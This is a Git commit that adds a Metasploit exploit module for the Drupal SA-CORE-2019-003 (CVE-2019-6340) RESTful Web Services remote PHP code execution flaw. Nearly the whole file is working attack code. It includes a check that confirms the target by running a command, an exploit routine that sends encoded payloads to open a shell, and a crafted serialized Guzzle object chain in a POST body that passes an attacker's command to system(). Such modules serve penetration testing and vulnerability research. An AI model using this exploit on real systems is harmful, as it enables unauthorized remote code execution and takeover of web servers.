Add new exploit for Drupal SA-CORE-2019-003

master
rotemreiss 2019-02-25 07:57:04 -05:00 committed by GitHub
parent aa0ba91d92
commit e93dffb32c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 178 additions and 0 deletions

View File

@ -0,0 +1,178 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal SA-CORE-2019-003 RestWS Remote PHP Code Execution',
'Description' => %q{
This module exploits a Drupal RESTful Web Services RCE.
Drupal < 8.5.11, and < 8.6.10 are vulnerable.
},
'Author' => [
'Samuel Mortenson', # Vulnerability discovery
'Charles Fol', # Proof of concept (Drupal 8.x)
'Rotem Reiss', # Metasploit module
'wvu' # Author of the drupal_drupalgeddon2 Metasploit module which was used as the base for this module
],
'References' => [
['CVE', '2019-6340'],
['URL', 'https://www.drupal.org/sa-core-2019-003'],
['URL', 'https://www.ambionics.io/blog/drupal8-rce']
],
'DisclosureDate' => '2019-02-20',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2},
'Notes' => {'AKA' => ['SA-CORE-2019-003', 'CVE-2019-6340']}
))
register_options([
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Safe
@version = target['Version'] || drupal_version
if @version && @version.to_s =~ /^8\b/
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end
token = random_crap
res = execute_command("printf #{token}")
if res && res.body.end_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
if check == CheckCode::Safe && datastore['ForceExploit'] == false
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
unless @version
print_warning('Targeting Drupal 8.x')
@version = Gem::Version.new('8')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# Try to get shell
execute_command(payload.encoded)
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
end
def execute_command(cmd)
print_status("Executing #{cmd}")
res = exploit_drupal8(cmd)
if res && res.code == 422
print_error "Exploit failed, in case that VHOST was not defined, consider to set that option"
end
if res && res.code != 403
print_error("Unexpected reply: #{res.inspect}")
return
end
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
# Custom implementation of full_uri to take the vhost if exists, since the exploit may not work when using IP
# @see full_uri
def vhost_full_uri
host = "#{datastore['VHOST']}" || "#{rhost}"
if !datastore['VHOST']
print_warning "The exploit may not work when using IP instead of host name, consider to set VHOST option"
end
uri_scheme = ssl ? 'https' : 'http'
uri_port = rport.to_s == '80' ? '' : ":#{rport}"
uri = normalize_uri(target_uri.to_s)
"#{uri_scheme}://#{host}#{uri_port}#{uri}"
end
def exploit_drupal8(cmd)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'node')
# @todo Support other formats ?
vars_get = {
'_format' => 'hal_json'
}
# Get the command length for the payload
cmd_len = cmd.length.to_s
data = {
"link" => [
{
"value" => "link",
"options" => "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:#{cmd_len}:\"#{cmd}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links" => {
"type" => {
"href" => "#{vhost_full_uri}rest/type/shortcut/default"
}
}
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/hal+json',
'vars_get' => vars_get,
'data' => JSON.generate(data)
)
end
def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end
end